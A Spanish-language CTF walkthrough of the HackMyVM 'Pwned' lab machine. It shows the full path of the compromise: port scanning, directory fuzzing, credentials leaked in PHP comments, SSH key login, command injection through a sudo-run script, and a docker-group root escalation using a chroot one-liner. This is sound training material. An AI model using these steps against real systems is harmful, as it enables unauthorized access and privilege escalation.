Pwned

Hoy vamos a realizar una máquina “easy” de HackMyVM con temática hacker.

Reconocimiento de Puertos

En primer lugar averiguamos la IP de la máquina víctima:

sudo arp-scan -l | grep "PCS"
192.168.0.16	08:00:27:32:f2:f4	PCS Systemtechnik GmbH

Ahora realizamos el reconocimiento de puertos abiertos:

 sudo nmap -p- -sS --min-rate 5000 --open -Pn -vvv -n 192.168.0.16

PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Realizamos un escaneo más avanzado para obtener más información sobre estos puertos.

 nmap -sCV -p21,22,80 192.168.0.16

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
|   256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_  256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Pwned....!!
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

No sacamos nada relevante…

Analizando vectores de ataque

Como no tenemos ningún tipo de información acerca de user/pass de SSH (puerto 22), vamos a empezar por el puerto 80.

Puerto 80

Comprobamos qué contenido muestra el HTTP:

Y si hacemos ctrl+u para ver el código, nos deja este mensaje:

Y si miramos el código de la página con ctrl+u tampoco vemos nada, parece una web por defecto.

Vamos a realizar fuzzing para ver si encontramos algo:

❯ wfuzz -c -L -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.0.16/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars     Payload                                                                                                                
=====================================================================
                                                              
000010575:   200        16 L     59 W       945 Ch      "nothing"                                                                                                              
000095524:   403        9 L      28 W       277 Ch      "server-status"                                                                                                        
000206056:   200        16 L     60 W       952 Ch      "hidden_text"                                                                                                          

Encontramos 2 recursos con contenido (dan código 200), vamos a examinarlos:

  • En “nothing” vemos un directory listing con el fichero nothing.html. Si lo abrimos, solamente muestra “i said nothing bro “ y si miramos el código “<!–I said nothing here. you are wasting your time i don’t lie–>”

  • En “hidden_text” tenemos otro directory listing con un fichero llamado secret.dic

Y si lo abrimos:

La cosa se pone interesante, parece un diccionario, así que me lo guardo:

wget http://192.168.0.16/hidden_text/secret.dic

Realizamos nuevamente fuzzing con ese diccionario:

❯ gobuster dir -w secret.dic -t 200 -u http://192.168.0.16
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.16
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                secret.dic
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/11/20 02:09:32 Starting gobuster in directory enumeration mode
===============================================================
//pwned.vuln          (Status: 301) [Size: 317] [--> http://192.168.0.16/pwned.vuln/]

Abrimos ese nuevo recurso:

Y si hacemos ctrl+u:

<?php
//	if (isset($_POST['submit'])) {
//		$un=$_POST['username'];
//		$pw=$_POST['password'];
//
//	if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
//		echo "welcome"
//		exit();
// }
// else 
//	echo "Invalid creds"
// }
?>

¡BINGO! parece que hemos obtenido datos de acceso FTP

Puerto 21

Accedemos con los datos obtenidos:

❯ ftp -p 192.168.0.16
Connected to 192.168.0.16.
220 (vsFTPd 3.0.3)
Name (192.168.0.16:kaian): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/home/ftpuser" is the current directory
ftp> ls -la
227 Entering Passive Mode (192,168,0,16,92,74).
150 Here comes the directory listing.
drwxrwxrwx    3 0        0            4096 Jul 09  2020 .
drwxr-xr-x    5 0        0            4096 Jul 10  2020 ..
drwxr-xr-x    2 0        0            4096 Jul 10  2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (192,168,0,16,246,160).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 10  2020 .
drwxrwxrwx    3 0        0            4096 Jul 09  2020 ..
-rw-r--r--    1 0        0            2602 Jul 09  2020 id_rsa
-rw-r--r--    1 0        0              75 Jul 09  2020 note.txt
226 Directory send OK.
ftp> mget *
mget id_rsa? yes
227 Entering Passive Mode (192,168,0,16,169,59).
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
226 Transfer complete.
2602 bytes received in 0.00 secs (26.3985 MB/s)
mget note.txt? yes
227 Entering Passive Mode (192,168,0,16,246,222).
150 Opening BINARY mode data connection for note.txt (75 bytes).
226 Transfer complete.
75 bytes received in 0.00 secs (1.6256 MB/s)

Aquí tras un breve reconocimiento descargamos lo que parece ser una nota y una clave privada de SSH.

❯ cat note.txt

Wow you are here 

ariana won't happy about this note 

sorry ariana :( 

Puerto 22

Parece que es una pista de que el usuario es “ariana”, así que vamos a tratar de conectarnos vía SSH con la clave privada. Pero antes de eso, hay que acordarse de poner los permisos adecuados a la clave:

❯ chmod 600 id_rsa

Ahora sí nos conectamos y realizamos pequeño tratamiento:

❯ ssh -i id_rsa ariana@192.168.0.16
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$ export TERM=xterm
ariana@pwned:~$ export SHELL=bash
ariana@pwned:~$ ls
ariana-personal.diary  user1.txt
ariana@pwned:~$ cat user1.txt
congratulations you Pwned ariana 

Here is your user flag ↓↓↓↓↓↓↓

(FLAG)

Try harder.need become root

Pues ya tenemos la flag de user (he omitido la flag para que no se vea 😉). El creador nos invita a que vayamos a por la de root, así que vamos a por él.

Escalada de privilegios

Vamos a ver por dónde puede ir la cosa:

ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

Esto nos indica que podemos ejecutar ese script como Selena sin necesidad de contraseña.

Bien, como visteis antes, había un fichero llamado “ariana-personal.diary” el cual nos insinua una pista:

ariana@pwned:~$ cat ariana-personal.diary 
Its Ariana personal Diary :::

Today Selena fight with me for Ajay. so i opened her hidden_text on server. now she resposible for the issue.

Pero si tratamos de ver lo que tiene en su carpeta personal no tenemos permisos:

ariana@pwned:~$ ls -l /home/selena
ls: cannot open directory '/home/selena': Permission denied

La idea sería aprovecharnos del script “messenger.sh”, el cual podemos ejecutar como Selena, para tratar de introducir comandos y leer su directorio.

ariana@pwned:~$ sudo -u selena /home/messenger.sh

Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : ariana

Enter message for ariana :ls -la /home/selena

Sending message to ariana 
total 24
drwxrwx--- 3 selena root   4096 Jul 10  2020 .
drwxr-xr-x 5 root   root   4096 Jul 10  2020 ..
-rw------- 1 selena selena    1 Jul 10  2020 .bash_history
drwxr-xr-x 3 selena selena 4096 Jul  9  2020 .local
-rw-r--r-- 1 selena selena  132 Jul 10  2020 selena-personal.diary
-rw-r--r-- 1 selena selena  100 Jul 10  2020 user2.txt

Message sent to ariana :) 

Ahora que sabemos que hay ficheros interesantes, repetimos proceso para leerlos pero con el comando cat /home/selena/*

Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : ariana

Enter message for ariana :cat /home/selena/*

Sending message to ariana 
Its Selena personal Diary :::

Today Ariana fight with me for Ajay. so i left her ssh key on FTP. now she resposible for the leak.

711fdfc6caad532815a440f7f295c176

You are near to me. you found selena too.

Try harder to catch me

Message sent to ariana :) 

La pista que nos da ya la usamos antes para tener acceso SSH, y la flag de Selena no nos sirve de nada y no funciona como contraseña. Así que nos han engañado bien ahí… Además, el problema es que salvo esa instrucción que mandamos, se nos sale de ese contexto. Por tanto, lo mejor en este caso es introducir “bash” para conseguir estar “permante” como Selena para investigar algo más.

Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : ariana

Enter message for ariana :bash

Sending message to ariana 
whoami
selena
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

Así que ahora que sabemos que Selena pertenece al grupo “docker”, nos vamos a https://gtfobins.github.io/ y buscamos una shell por “docker”:

Justo donde lo dejamos, añadimos:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# cd /root
# ls
root.txt

Y con esto damos por finalizada la máquina, la cual me ha gustado mucho por su temática, incluyendo esas pistas (buenas, y otras no tanto 😂). ¡Nos vemos en la próxima!